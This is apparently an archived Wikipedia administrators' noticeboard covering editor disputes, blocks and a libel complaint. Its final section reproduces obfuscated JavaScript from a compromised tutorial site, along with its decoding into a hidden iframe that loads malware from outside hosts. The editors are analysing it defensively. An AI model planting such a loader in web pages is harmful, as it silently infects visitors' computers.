• "Do you need to be blocked to understand who is being disruptive?" - Kusma resulting in article move ban
• - "There have been RfCs in the past about Gene doing his thing on these sorts of cat sorting and formatting, patterning issues before." Blnguyen
• - "Let's get something straight Gene - you have a long history of rudeness, boorish behavior and personal attacking. No admin will need hesitate in blocking you if this pattern of behavior continues unabated." - Rama's arrow
• "Gene, please knock it off. You're skating along the ragged edge of wikilawyering and violation of the probation." - Georgewilliamherbert
• "I would definitely endorse a week-long block over this. Gene Nygaard just refuses to understand anything about civility." Rama's arrow

I don't think much comment is needed, other than to point out the sheer number of different editors quoted here.

Mondegreen 19:48, 2 November 2007 (UTC)

Gene has strong and self-righteous views on many subjects. So do many Wikipedians. His topics, including the exact meaning of SI, are more arcane than some (and, for what it's worth I often disagree with him). But a week's block is destructive to a useful editor. Please reconsider. Septentrionalis PMAnderson 20:00, 2 November 2007 (UTC)

Agree with Septentrionalis and Haukur. Gene's manner has never bothered me, even when I was on the receiving end. But the community as a whole has to set these standards of behavior and enforce them. I hope Gene can be a little more polite, and his fellow editors a little more accommodating. As for the seven day block - Gene can make it vanish per Guy's suggestion, if he so chooses. --Duk 23:24, 2 November 2007 (UTC)

Endorse block. I agree with those above stating that Gene is a prolific contributor, but I'm not sure that's a valid reason to encourage a long pattern of discourteous behavior (WP:CIVIL is a policy, not a suggestion). Hopefully Gene will be back to editing soon as a more civil contributor (as Duk mentions above, Gene can get this lifted early if he wishes). --Bfigura ^(talk) 04:21, 3 November 2007 (UTC)

About time WP:CIVIL grew teeth. "I contribute article material!" is not an excuse for extreme and repeated incivility, period. Plenty of people manage to do that without attacking and insulting others, so no one should get a free pass on those grounds. Seraphimblade ^{Talk to me} 16:16, 3 November 2007 (UTC)

I want to endorse this block as per all of the above. Greg Jones II 16:22, 3 November 2007 (UTC)

Need A User Banned

Resolved

 – indef block by Addhoc

I request a ban of User:Russellmba, at very least from the article Northport, New York. Russellmba's edits have been bias, disruptive, vandal-istic, completely ignores messages and warnings, and constantly undoes reverts of his disruptive edits. Russellmba was clearly using several different anonymous IP addresses[87] until User:Addhoc helped out with by semi-protecting the article to avoid his hiding behind IP addresses. Unfortunately that semi-protecting of the article has not stopped the problem.

Russellmba (and what is clearly his anonymous IP edits) has made 51 edits to Northport, New York in the past 2 weeks, completely ignoring explained reverts and discussions telling him to stop 8 times. More recently, he keeps trying to add the name of a real estate housing development to the article. Despite constant reverts, this morning Russellmba added "Northport Bay Estates" (which is in no way important, but it happens be where he lives) to the article for the 12th time. This editor refuses to listen to others, abide by rules, remain unbias, and a host of other disruptive traits. Please BAN this user from editing Northport, New York. Thank you --Fife Club 15:17, 2 November 2007 (UTC)

P.S. Look here! I just found that he's added his name as vanity spam to Schiller International University. (apparently his name is Don Russell) using one of the same anonymous IP addresses he's used on the Northport article. This guy clearly edits without good intentions, so please do everybody a favor and just ban him from all of wikipedia.

Rethink (not a support or oppose) - even vandals are not usually banned. This editor has not vandalised. If a block or ban is made, a short block of 24-48 hours is more appropriate than banning because the editor can learn. Even shoplifters are not executed but fined or jailed for a short time.

I only examined the user's last Northport edit and it is here [88]. This edit looks reasonable IF Northport Bay Estates is the main development in the area. (I don't know if it is or not). I know it is popular to be anti-editor on ANI and jump on the bandwagon but, based on this edit, there's no reason for banning. If banning is sought as a result of 51 disagreeable edits in 2 weeks, then using this as a standard for all editors is appropriate.Miesbu 16:10, 2 November 2007 (UTC)

The last edit doesn't seem like much at all but this was the 12th time that he's added the name of the housing development where he lives into the article, after being warned 8 times. This is merely the latest in a long 51-edit consistent pattern of totally bias edits. This last one isn't at all a big deal alone, but it's yet another discussion/warning that he just keeps ignoring. Should we even have rules?

Otherwise I understand about not banning permanently but this is just ridiculous. And now somebody else is erasing content without explaining the reasons, so maybe somebody can freeze that whole article for a whole week or something. —Preceding unsigned comment added by Fife Club (talk • contribs) 19:50, 2 November 2007 (UTC)

• I'm not anti-editor, but I am anti vanity spammer. This is blatant WP:COI editing, and needs more careful investigation. Guy (Help!) 17:21, 2 November 2007 (UTC)

• The user constantly revert wars, but doesn't use edit summaries or talk pages to discuss the problem. In this context, I've indefinitely blocked the account - if another admin wants to unblock that's ok - I won't reblock. Addhoc 20:04, 2 November 2007 (UTC)

User:YoSoyGuapo

User YoSoyGuapo has been stalking me to make edits on an article that I edited previously. On the article King's Daughters‎ (an article about French Canadian pioneer women), he googled the words "kings daughters protstitutes" to come up with a story in modern-day Namibia where a group of prostitutes coincidentally use the name "King's Daughters" for themselves. There is no indication that there is any relation between the Canadian pioneers and the African prostitutes, but he is adding it in anyway. This is not the first time he has done this to me, and I will point out that he has already been blocked indefinitely.

In early September, while YoSoyGuapo was still blocked and requesting reinstatement, he was starting an edit war (using the ID 64.131.205.111) on the Josh Gibson article; he insisted that anecdotal information about Gibson’s home run total (“almost 800”, an unverifiable number bandied about since the 1950s) was much more reliable than the data gathered under the auspices of the Baseball Hall of Fame and published in the book ‘’Shades of Glory’’ by Lawrence Hogan . He resorted to personal attacks against people (accusing me of deliberately “downplaying the achievements of minorities”) and POV arguments, shifting his rationale all along.

Then there was vandalism by an anonymous editor to the talk page of Daughters of the King. The user kept making ethnically insensitive remarks about French Canadian women, dredging up an old discredited legend that the Daughters were prostitutes and referring to them as “fwench” to add to the insult. The remarks were deleted, but a section was added to the article to address the old legend and its refutation.

After Admin User:Wknight94 issued a warning to the anonymous editor that he would be blocked if he continued to troll the talk page, YoSoyGuapo (using his other user id of 64.131.205.111) inserted a comment that the deleted comments were “interesting”. He had followed me to this page in order to take a contrary position. He had no reason to edit the page except to harass me. After further argument on our respective talk pages, he backed off from his comment and offered a couple of links he had googled (at least one of which was already listed in the article’s reference section, thought that was only after having already gone a bit too far initially.

After considerable argument on the Josh Gibson discussion page, a consensus was built that Gibson’s officially recognized stats would be prominently featured, with the anecdotal information would also be mentioned as part of his legend, though with caveats that it could not be verified in any way, either in career totals or season by season breakdowns.

YoSoyGuapo, who had been part of this discussion, created a new infobox (something he had offered to do, and had been agreed to) along with other edits, asking all to “fix and update” the new infobox. He had some erroneous information, some incomplete information, some oddly formatted information, and he had unilaterally gone ahead and place the anecdotal information as primary. I edited the infobox (as per his invitation), correcting (among other things) in good faith, and he reverted nearly every edit without explanation.

He then followed me over to the Daughters of the King article again, and started inserting the aforementioned irrelevancies. I beliebe that he did this just to stalk and harass me.

In an unrelated move, I cleared off my talk page (it had not been updated for some months, and I decided to clean it off), and he inserted a “final warning” that I could be blocked for removing edits from my talk page (he had left some a month or so ago). Again, he is stalking and harassing me.

He has been blocked indefinitely before because of his disruptive actions. I believe that he has not learned the lesson from that block, and am asking that action be taken on him again (in both his IDs) for repeat violations.

-- Couillaud 15:20, 2 November 2007 (UTC)

• Earlier today, Couillaud was reported to WP:AIV by User:YoSoyGuapo. I removed the report, advising that the editors should consider dispute resolution. At that time, both editors were toeing the line of 3RR at Talk:King's Daughters‎. Caknuck 16:04, 2 November 2007 (UTC)
  • YoSoyGuapo (talk · contribs) was unblocked by Tony the Marine with a stipulation that he refrain from edit wars like this. I am going to ask for Tony's participation here. —Wknight94 (talk) 16:16, 2 November 2007 (UTC)

Coullaud actually violated the 3rr and was reported. I did not. He was also given a warning for it. [89] He has also stalked me going thru my former accounts in order to find out about me. [90] YoSoyGuapo 20:26, 2 November 2007 (UTC)

YoSoyGuapo is now re-defining the term "stalking". I looked up his earlier edits to learn that his pattern of abuse has not changed. To do that is not stalking. YoSoyGuapo follows my current edits and then makes contrary edits afterward, or links to them at the time. That is stalking. When I started this complaint, I mentioned to WKnight94 that it would be YoSoyGuapo's pattern to try to turn the complaint around and claim to be the injured party, and sure enough, he's doing it now. It has also been his pattern to re-define the terms of the discussion to his own benefit (he kept accusing other editors during the Josh Gibson discussion of "original research" but wouldn't explain how it could be so; in the end, an Admin agreed he was wrong. I would like him now to explain how he considers my having looked up his earlier edits (some of which helped get him blocked) to be "stalking". -- Couillaud 22:08, 2 November 2007 (UTC)

The user in question, Yo Soy "Guapo", has been nothing but contentious. First there is his insistence on having his way with the Josh Gibson page, which is based on his (uncited and unreferenced) view of the way things supposedly were in Negro Leagues baseball. But even if his skewed editorial stance on the facts were true, his inadequacies with English and with structure have pretty well trashed the Josh Gibson page. He has messed up the article and likely won't let anyone change it. His continual insistence on having his way, in defiance of discussion - of continuing to restate the same points over and over again, while refusing to address the questions we raise - are classic trolling behavior. Trolls don't care about the facts, they don't even care about the subject in particular, they're just there to foment arguments. And his threats to turn someone in for clearing his own talk page have no basis except either mere ignorance or overt harassment. There is no such rule, much less any authority on his part to enforce such a rule. Baseball Bugs ^{What's up, Doc?} 18:23, 2 November 2007 (UTC)

Please see below. Also Baseball Bugs the talk page reversions were not concerning Couillaud talk page but the Kings Daughter talk page [91] YoSoyGuapo 19:46, 2 November 2007 (UTC)

YoSoyGuapo: Baseball Bugs was referring to your troll of my talk page, when you told me that I couldn't clear my own page, and you were issuing me a "final" warning. You do remember that one, don't you? That is the one he was discussing. You are simply trying to misdirect the discussion. I am complaining about your trolls to King's Daughters and to my own talk page, NOT your 3RR complaint. -- Couillaud 22:08, 2 November 2007 (UTC)

As Couilland indicates above, YoSoyGuapo did, in fact, seem to "warn" Couillaud not to clear his own talk page, as noted here [92] and here [93]. It's a bit ambiguous since it came right after Couillaud had, in fact, cleared his own talk page. YoSoyNoTanGuapo did not make clear what he was talking about. Baseball Bugs ^{What's up, Doc?} 22:51, 2 November 2007 (UTC)

• User:Wknight94, Thank you for alerting me to the situation. You are right, I did give User:YoSoyGuapo on the condition that he acted in civil manner. I have looked into this outrageous situation as you have recommended in my talk page. I will therefore proceed to comment.

1. User:Couillaud is a valued editor whose knowledge and contributions are well appreciated in Wikipedia. I can understand your frustration in the Josh Gibson issue and I can also understand that User:YoSoyGuapo, wanted to post that Gibson possibly had 800+ homers. The problem here was that you, YoSoyGuapo pushed your observations resulting in revert war which should have been settled instead in the articles talk page. You both should have agreed to simple consensus and I'm sure that you both would have found an agreeable solution. That should have been the end of it. Instead this was the beginning of a war between both of you.

2. User:YoSoyGuapo, I told you when we made the agreement that you should no longer edit under the IP: User:64.131.205.111. However, I see that you have done so in various occasions, especially to the article King's Daughters. This not only can be considered trolling, but not only are you in violation of our agreement but, you maybe be accused of sockpuppteering which is against our policy. I can understand that at times a person may forget to sign in. It has happened to me, but if you use this IP address you will be blocked.

3. User:YoSoyGuapo, User:Couillaud was right in the fact that you should not have inserted the "Namibia" section into the "King's Daughters" since it had nothing to do with the main subject of the article. It could have gone into a "See also" section. However, User:Couillaud I can understand YoSoyGuapo's anger at you taunting his "English" which was out of place.

4. YoSoyGuapo, you cannot warn anyone about clearing thier "talk page". Users are allowed to clear their user pages and your "warning" without authority seems to me a hostile act on your part.

5. YoSoyGuapo, what did I ask you in our agreement? I asked you that you should avoid wars and whenever a situation came up that you should ask for a mediator for a solution. Neither of you did this which has resulted in this senseless war.

I'm going to suggest that both of you put an end to this nonsense. End it right now. YoSoyGuapo lay off the "King's Daughters" article because it seems as if you are stalking Couillaud as a result of the "Josh Gibson" incident and go about editing in other areas where your knowledge is well appreciated. Do not indulge in reverting wars and look for mediation whenever a situation comes up instead of this back and forth arguing which ends up in a hostile situation.

The same goes for you Couillaud, plus refrain yourself from making comments which may offend other users, even if it is done in a third party's talk page. This said, I want you to know that I appreciate your baseball contributions in Wikipedia and that you should not leave. I have been tempted myself many times, but I have overcome worst situations. Tony the Marine 05:55, 3 November 2007 (UTC)

Couillaud (talk · contribs · deleted contribs · logs · filter log · block user · block log)

Ok first of all, Couillaud please notify them that I am not the individual who is trolling the King's Daughters Page. You and I both know that isn't me. I commented that the it was humorous in an off brand humor sense. I though am not the person who was trolling the page placing in information. You're grouping me with that person. Secondly you have a personal interest in the King's Daughter because you stated that you are a descendent of the King's Daughters. http://en.wikipedia.org/w/index.php?title=User_talk:Wknight94&diff=prev&oldid=168670754 Thirdly you kept deleting the talk page so that it states what you liked it to state. [94] . You did it over 3 times of which I filed a 3rr report [95]. I also filed a W:AI/V report [96]

Personal Attacks

Baseball Bugs and Couillaud have both tried to bate me with personal attacks calling me "Googleman" [97] stating that I learned English last week [98] Stating that I am trolling [99] stating that they are going to do something [100] for which I said they should [101] and then giving a sarcastic response [102] and commenting on my spelling [103]. From going thru my history Coulliard could tell that I am hispanic (especially due to my usage of terms like Hermano and my Username of YoSoyGuapo) he has made comments mocking my heritage stating wikipedia may not have the "cojones" [104] to fix this.

Baseballbugs and Coulliard stated that I haven't been trying to do compromise or tried to show that I won't let others change it, but I've

(1) invited others to participate [105] [106] (2) filed an RFC [107] (3) invited others to participate in the conversation and make additions. [108]

I also made a new compromise by creating 2 sections that show the different statistics.

At this point I simply going to ask any administator to look at the stats that Couliard and Baseball Bugs are challenging . They say it's incorrect but there are over 30 sources provided which support this while they provide 2 sources to provide their point of view. You know I didn't argue. I filed an RFC asked for comments. Placed in a avalanche of sources. I tried to compromise by placing in both the disputed informations on the article. [109] If you look below you can see the sources that I used for support that he had 800 to 952 homeruns rather than the 165 that they (Coulliard and Baseball bugs)stated he had. Feel free to comment on the whether or not he had 800 - 952 homerun or 162.

http://espn.go.com/sportscentury/features/00016050.html
http://espn.go.com/sportscentury/features/00016050.html
http://www.baseballlibrary.com/ballplayers/player.php?name=Josh_Gibson_1911
http://www.toad.net/~andrews/josh.html
http://www.nlbpa.com/gibson__josh.html
http://www.pittsburghlive.com/x/pittsburghtrib/search/s_458633.html
http://www.britannica.com/eb/topic-233289/Josh-Gibson
http://www.psacard.com/articles/article4210.chtml
http://www.post-gazette.com/pg/06192/701548-341.stm
http://z.lee28.tripod.com/sbnslegends/id1.html
http://www.blackbaseball.com/players/joshgibson.htm
http://library.thinkquest.org/3427/data/gibson.htm
http://espn.go.com/sportscentury/features/00016050.html
http://sfgate.com/cgi-bin/article.cgi?f=/c/a/2006/05/05/SPGQNIL8UR1.DTL
http://www.coe.ksu.edu/nlbemuseum/history/players/gibsonj.html
http://www.nlbpa.com/8feb2003.html
http://www.nlbpa.com/5march2003.html
http://www.nlbpa.com/31oct2002.html
http://entertainment.howstuffworks.com/josh-gibson-hof.htm
http://www.mlb.com/mlb/history/mlb_negro_leagues_profile.jsp?player=gibson_josh
http://mlb.mlb.com/news/article.jsp?ymd=20070802&content_id=2125626&vkey=news_mlb&fext=.jsp&c_id=mlb
http://www.baseballhalloffame.org/hofers/detail.jsp?playerId=492568
http://www.explorepahistory.com/hmarker.php?markerId=20
http://www.amazon.com/Josh-Gibson-Life-Negro-Leagues/dp/1566632951/ref=dp_return_1/104-0249862-2980752?ie=UTF8&n=283155&s=books
http://www.aaregistry.com/african_american_history/1346/Josh_Gibson_one_of_baseballs_greatest_hitters
http://encarta.msn.com/encyclopedia_761582302/Josh_Gibson.html
http://www.baseballhistorian.com/html/american_heroes.cfm?page=30
"In 1933, while playing for the Pittsburgh Crawfords, Josh Gibson batted 512 times, hit 55 homers and drove home an awesome 239 runs. " www.negro-league.columbus.oh.us/gibson.htm
http://www.east-buc.k12.ia.us/99_00/BH/jg/jg_bio.htm
http://blackathlete.net/artman2/publish/Baseball_20/Past_Meets_Present_Washington_Unveils_The_Josh_Gibson_Exhibit.shtml
http://www.post-gazette.com/pg/06192/701548-341.stm
http://sports.jrank.org/pages/1649/Gibson-Josh.html
http://www.tradingcardcentral.com/news/2005/06/16_001.php
http://www.encyclopedia.com/doc/1E1-GibsonJosh.html
http://www.blackpast.org/?q=aah/gibson-joshua-josh-1911-1947
http://www.ironcladauthentics.com/baseball/joshgibson/index.asp
http://z.lee28.tripod.com/sbnslegends/id1.html
http://www.geocities.com/Heartland/4547/gibson.html

http://www.pittsburghlive.com/x/pittsburghtrib/news/breaking/s_513337.html
http://www.geocities.com/colosseum/arena/5866/gibson.html
http://www.psacard.com/articles/article_view.chtml?artid=4596&universeid=314
http://espn.go.com/page2/s/closer/020301.html
http://www.baseballhalloffame.org/hofers/detail.jsp?playerId=492568 If you go to the baseball hall of fame website and cilck on career stats you'll see that "Official major league statistics verified by Elias Sports Bureau" not SABR http://www.riverdeep.net/current/2002/02/022502_negroleagues.jhtml
http://aol.bartleby.com/65/gi/GibsonJosh.html
http://aol.bartleby.com/65/gi/GibsonJosh.html An opinion http://www.baseballthinkfactory.org/files/newsstand/discussion/basn_they_stand_alone/
http://www.blackathlete.net/artman2/publish/BASN_BLACKBOX_54/They_Stand_Alone_Josh_Gibson_Hank_Aaron.shtml
http://www.helium.com/tm/339282/there-arguments-greatest-baseball

YoSoyGuapo 19:13, 2 November 2007 (UTC)

For clarification I have it written on my Userpage my alternative ID [110] of Template:64.131.205.111 . The people who were trolling the King's Daughter talk page are [111] YoSoyGuapo 00:25, 3 November 2007 (UTC)

After a rant like that, I should just say "I rest my case" and leave it here, but that would leave some necessary things unspoken.

• First, YoSoyGuapo is indeed the individual I spoke of, in this ID and his alternate ID of 64.131.205.111. His comments have been directly related to arguments we have had on the Josh Gibson article, when he has followed my edits to the King's Daughters article, just trying to keep alive a troll discussion for no reason but to hassle me. This is the second time he has done so. His original comment was that the Talk page history was "interesting"; the talk page up to that point had consisted of an anonymous racist troll. The comments would be put in (no documentation or verifiability, inflamatory language), would be deleted, the anonymous troll would insert it back, claiming "censorship", would be deleted, would repeat his action, etc., until WKnight94 warned that he would block the entire range if the troll continued. That is what YoSoyGuapo found amusing. He did not comment on the article itself at all.

• Second, YoSoyGuapo considers it a "personal attack" that I suggested that his handle would more appropriately be "Googleman". Directly above this post is a list of some 43 links that YSG googled; many of them go to exactly the same web site, and most of them all use the same source, which is to say they consist of no real research, and simply repeat the same mistake over and over again; also, he has no idea how to format these links (or doesn't care), and made it unnecessarily difficult for anyone to read. As for my criticism of his spelling, he can't spell my user name, nor the name of the country he kept putting an irrelevant link to in the "King's Daughters" article; if you're going to quote a story about Namibia, you should make an effort to spell it correctly. He is poor at spelling and grammar, and will not take help from anyone on that problem. As for my use of the word cojones, that's a term I've had in my vocabulary for over 30 years (and used it as a euphemism for "balls"), and I had no idea what his ethnicity is. Since he thinks that I'm being too officious about my Québecois heritage, he seems to be really stretching to find a way to be ethnically insulted. Give me a break, please.

• Third, while YSG DID "invite" others to comment on his changes and to "fix and update" the info box he created, his offers were not sincere. He immediately fought every change suggested, using a shifting logic to try to justify his assertions. He reverted my most recent edits (all made in good faith) without any comment, and then started stalking me on another article I was editing. Guess which one? King's Daughters. He will offer to compromise, but refuses to do so when actually pressed, and his best offer was to write two separate articles on Josh Gibson, one with the statistics currently recognized by the Hall, and his own with indefinite and unverifiable numbers that he feels are more "fair". He is NOT a very good editor (poor grammar and spelling), and calling him that is NOT a personal attack. Saying that YoSoyGuapo is bad at spelling and grammar is like saying that Elvis is a dead rock'n'roller.

• Fourth, when the latest flap on King's Daughters came up, it did so in almost exactly the same way as before, when YoSoyGuapo and I clashed on edits to a Josh Gibson article. The difference this time is, after following me to this article again, he googled an online news story about Namibian prostitutes who call themselves "king's daughters", though there is absolutely no relation to the French Canadian article, and tried to insert it into the discussion and the article itself. I deleted it as I had the anonymous troll before, and for the same reason: it is irrelevant to the merits of the article, and is inappropriate, having been set there only to troll for responses.

• Fifth, YSG is a prior offender, having already been blocked indefinitely for sockpuppetry and having made personal attacks, and through all his self-defense, he has yet to address that issue. The truth is that he had already initiated the edit war on Josh Gibson (which contained personal attacks on his part) as 64.131.205.111 while applying to have the block on his YoSoyGuapo ID lifted. It seems to me that he failed to learn any lessons from his experience, except how to change the subject.

• Sixth, besides his unwarrented reverts on Josh Gibson and his trolling on King's Daughters, he also trolled my own talk page. I don't keep my talk page indefinitely, and don't even bother to archive. I just clear it every now and again. I did so just recently (in an unrelated move), and he put a "final warning" on my talk page. He was again following my edits (or stalking me) in order to find and react to this one.

• He now says his comments were jokes. If he's trying to be funny, he's failing to do so miserably. I do not believe it's a joke. I believe from his previous patterns that this is his way of attacking people with whom he disagrees. I have a complaint in against him at this moment.

• 3RR? I have left the page alone, though I still maintain that there is no discussion on that talk page related to the merits of the article, which is why the page was cleared earlier with the permission and help of Admin WKnight94; I fail to see how ANYTHING YoSoyGuapo has added to that page is anything but a troll. He doesn't know the subject; he doesn't know the article that he googled and added to the main article. I felt justified in removing it as vandalism simply because it was exactly the same kind of crap we had gotten from the anonymous troll before, the only exception being that the anonymous troll never used Google.

-- Couillaud 21:43, 2 November 2007 (UTC)

All I'm going to say is look at all of the personal attacks that were directed toward me in the above. I'm not going to even reply to them. I'm simply going to also note his attack on me again. http://en.wikipedia.org/w/index.php?title=User_talk:Wknight94&diff=168818390&oldid=168799966 "he still can't spell either my name or the country "Namibia". -- Couillaud 21:55, 2 November 2007 (UTC)" and right now with " YoSoyGuapo is bad at spelling and grammar is like saying that Elvis is a dead rock'n'roller." I'm right now disillusioned with all the attacks. It is really really personal. I'm going to go on a wikibreak until the new years.. YoSoyGuapo 00:25, 3 November 2007 (UTC)

All those cites of sites that YoNoGuapo posts, as he did previously, are somehow supposed to "prove" his contention for the numbers. That's not really the issue. It's that he won't answer reasonable questions about why those numbers have any validity vs. actual research that's been done. It's an endless loop on his part, and is classic trolling behavior. Baseball Bugs ^{What's up, Doc?} 22:57, 2 November 2007 (UTC)

• User:Wknight94, Thank you for alerting me to the situation. You are right, I did give User:YoSoyGuapo on the condition that he acted in civil manner. I have looked into this outrageous situation as you have recommended in my talk page. I will therefore proceed to comment.

1. User:Couillaud is a valued editor whose knowledge and contributions are well appreciated in Wikipedia. I can understand your frustration in the Josh Gibson issue and I can also understand that User:YoSoyGuapo, wanted to post that Gibson possibly had 800+ homers. The problem here was that you, YoSoyGuapo pushed your observations resulting in revert war which should have been settled instead in the articles talk page. You both should have agreed to simple consensus and I'm sure that you both would have found an agreeable solution. That should have been the end of it. Instead this was the beginning of a war between both of you.

2. User:YoSoyGuapo, I told you when we made the agreement that you should no longer edit under the IP: User:64.131.205.111. However, I see that you have done so in various occasions, especially to the article King's Daughters. This not only can be considered trolling, but not only are you in violation of our agreement but, you maybe be accused of sockpuppteering which is against our policy. I can understand that at times a person may forget to sign in. It has happened to me, but if you use this IP address you will be blocked.

3. User:YoSoyGuapo, User:Couillaud was right in the fact that you should not have inserted the "Namibia" section into the "King's Daughters" since it had nothing to do with the main subject of the article. It could have gone into a "See also" section. However, User:Couillaud I can understand YoSoyGuapo's anger at you taunting his "English" which was out of place.

4. YoSoyGuapo, you cannot warn anyone about clearing thier "talk page". Users are allowed to clear their user pages and your "warning" without authority seems to me a hostile act on your part.

5. YoSoyGuapo, what did I ask you in our agreement? I asked you that you should avoid wars and whenever a situation came up that you should ask for a mediator for a solution. Neither of you did this which has resulted in this senseless war.

I'm going to suggest that both of you put an end to this nonsense. End it right now. YoSoyGuapo lay off the "King's Daughters" article because it seems as if you are stalking Couillaud as a result of the "Josh Gibson" incident and go about editing in other areas where your knowledge is well appreciated. Do not indulge in reverting wars and look for mediation whenever a situation comes up instead of this back and forth arguing which ends up in a hostile situation.

The same goes for you Couillaud, plus refrain yourself from making comments which may offend other users, even if it is done in a third party's talk page. This said, I want you to know that I appreciate your baseball contributions in Wikipedia and that you should not leave. I have been tempted myself many times, but I have overcome worst situations. Tony the Marine 05:57, 3 November 2007 (UTC)

Fair use on Astronomy photographs

Would someone who is more up to speed on our image use policies than I am take a look at User talk:Apcgurutech for me. He has uploaded a couple of photographs by an astronomer who is now deceased so we cannot obtain permission. I'm pretty sure we can use them under fair use, the photographs are unique in that they apparently show an unexplained object, and it is discussed in the article but the thw only photographs I ever upload are my own so I'm rubbish at writing rationals. Theresa Knott | The otter sank 15:57, 2 November 2007 (UTC)

The astronomer being dead complicates our asking for permission, but doesn't make it impossible. Someone still owns the photos - either the astronomer's institution or the beneficiaries of his estate (who could, I guess, be contacted by writing to his institution). -- Finlay McWalter | Talk 16:23, 2 November 2007 (UTC)

If we are talking about the photos then we don't need to request permission. Just make sure the images are "web-resolution" and the fair-use rationals are all filled out. ---J.S (T/C/WRE) 16:27, 3 November 2007 (UTC)

User:DemolitionMan, unrepentent edit-warrior

I have recently blocked DemolitionMan (talk · contribs · deleted contribs · nuke contribs · logs · filter log · block user · block log) for 1 week for persistent violation of WP:3RR, disruptive editing, and confirmed (checkuser) sock-puppetry. Despite the escalating blocks, he appears adamant to resume his attempts to insert pro-Indian POV into Indian Rebellion of 1857. I strongly suspect he has attempted to evade his block using User:203.123.144.131 as a sock. In this latest post, he openly boasts that he will be adamant about defending his POV, continues his personal attacks against User:Hserus, and apparently indicates that his previous attempt to engage in mediation was made in bad-faith (e.g. bring on another mediator, IMHO, demonstrates fecklessness w.r.t. mediation). I'm not seeing much hope at reforming this user and am considering an indef block until we see some positive indicators. He has accused me of bias in this case so I'd like another admin opinion on what do to here. Thanks. Ronnotel 17:28, 2 November 2007 (UTC)

FWIW, I read his latest comment more closely and realized I had missed a blatantly offensive epithet directed at two users. Indef block. Ronnotel 17:50, 2 November 2007 (UTC)

• Endorse block. Sadly I do not see in DemolitionMan an editor able to engage properly with others. Sam Blacketer 17:59, 2 November 2007 (UTC)

  Informal mediation was attempted and he was openly rude to the mediator, so I think an indef block is the right decision. However, his case is currently being applied to ArbCom (WP:Arb#Indian Rebellion of 1857) , so you could consider advising the committee of his block. Addhoc 19:47, 2 November 2007 (UTC)

  Thanks for the heads up. I have so advised. Ronnotel 20:01, 2 November 2007 (UTC)

  Yeah, endorse. Was openly rude to me and the other people in the case--Phoenix-wiki (talk · contribs) 22:23, 2 November 2007 (UTC)

Taner Akcam

A major BLP violation on Taner Akcam article. About a year ago he was detained in the Canadian border because the border guard had a printed wikipage that said he was a terrorist [112]. --VartanM 17:51, 2 November 2007 (UTC)

Eh, I thought you guys would show a little more sense of urgency on this article, considering that he was detained at least twice because of libelous wikipedia article [113]. I reverted the article but I would still like to see this edit summary deleted. VartanM 19:47, 2 November 2007 (UTC)

I'm adding the page to my watchlist. I'll be sure to inform someone with more tools if such are needed. In the meanwhile, you can always take urgent reports to WP:BLPN. Sheffield Steel^talk_stalk 20:18, 2 November 2007 (UTC)

User 202.62.80.3 - apparent extreme hazard

It appears that this anonymous user, whose contribution history consists exclusively of repeated attempts to add the same external link into the SQL page, is far more insidious than a mere spammer. Upon browsing to the page he or she is promoting, beginner-sql-tutorial.com, a seemingly relevant and innocuous URL, AVG intercepted an attempt to run the JS/Psyme virus, which apparently is some sort of trojan downloader.[114] This anonymous user's only contribution has been to submit the same nasty link, which has thus far been reverted 4 times over the course about 2 weeks, most recently today. I urge you to take immediate action to ban this IP, since this appears to be a very serious threat to any unsuspecting Wikipedia user who doesn't happen to have adequate anti-virus protection. Anyone who submits that particular URL or commits a similar offense should swiftly and decisively be attended to with the greatest urgency. - JCLately —Preceding comment was added at 17:55, 2 November 2007 (UTC)

Ouch. Blocked for a month as a safety measure while we get this sorted out. Raymond Arritt 17:59, 2 November 2007 (UTC)

Followup: I didn't get a virus warning from AVG, and googling shows that the site is a reasonably well-known tutorial. Does anyone else get warnings when visiting this URL? Raymond Arritt 18:05, 2 November 2007 (UTC)

(ec):::I was just going to say the same thing... I didn't get an virus warning and resident scan after visiting was clean. I was going to blacklist the link if I could confirm the loader, but now I think not.--Isotope23 ^talk 18:07, 2 November 2007 (UTC)

I visited the offending URL again, and I'm still getting the same virus alert from AVG. Same thing after clearing my browser cache, too. I have AVG set to auto-update every day, so this was done this morning. I seldom get such warnings from AVG - only once before, and I don't think it was a false positive - so I don't take these lightly. I'm not sure why you can't reproduce the problem, but a Google PR of 1 doesn't exactly qualify as "reasonably well-known" in my book, so I would not be too quick to dismiss this incident. In any case, the anonymous IP in question does look rather suspicious, don't you think? - JCLately 18:29, 2 November 2007 (UTC)

What browser? I was using Firefox 2.0.0.8 under WinXP, and Argyriou below was using Opera. Are you using IE? Raymond Arritt 18:44, 2 November 2007 (UTC)

I'm using IE 6 SP2, running under Windows XP Pro SP2. - JCLately 18:49, 2 November 2007 (UTC)

No ill results visiting with Opera on WinXP, with Symantec AV running. The only included javascript files are google ad pages. There's a script at the top which may be suspect:

(script language='JavaScript')function ndfc() {var t,o,l,i,j; var s=;s+='060047116101120116097116101097062060047116101120116097114101097062'; s+='060105102114097109101032115114099061034104116116112058047047116114097102102108111097100115046105110'; s=s+'047105110046099103105063050034032119105100116104061034049034032104101105103104116061034049034032115'; s=s+'116121108101061034100105115112108097121058110111110101034062060047105102114097109101062'; t=;l=s.length;i=0; while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30)); document.write(String.fromCharCode(t));t=;}}ndfc();(/script)

(I've changed the angle brackets around the script tags to parentheses for safety.) Argyriou (talk) 18:35, 2 November 2007 (UTC)

It is. It triggered my virus alert as well. It appears to be an IFrame exploit. Once I finish debugging, I will tell you what it is trying to do. spryde | talk 18:49, 2 November 2007 (UTC)

It says exactly this:</textatea></textarea><iframe src="http://traffloads.in/in.cgi?2" width="1" height="1" style="display:none"></iframe> , which then loads this url: http://superengine.cn/0410/index.php. Whatever it is doesn't look good. -- zzuuzz ^(talk) 19:03, 2 November 2007 (UTC)

Beat me :) Anyway, it looks like someone has compromised that particular page based on [115] and is trying to drive traffic elsewhere. spryde | talk 19:06, 2 November 2007 (UTC)

Tis the results a virus. [116]. Might want to keep this around in case we see other external links that have been compromised like this. FYI, I got it with IE and not Firefox.spryde | talk 19:09, 2 November 2007 (UTC)

That would explain it, I was using Fox. Any objections to blacklisting this site for the time being? We can always pull it off the list if they resolve this (assuming the site is legit and the target of a malicious code attack)--Isotope23 ^talk 19:34, 2 November 2007 (UTC)

I might object as it doesn't appear to be the sites fault. Google shows quite a few that would need to be blacklisted. spryde | talk 19:41, 2 November 2007 (UTC)

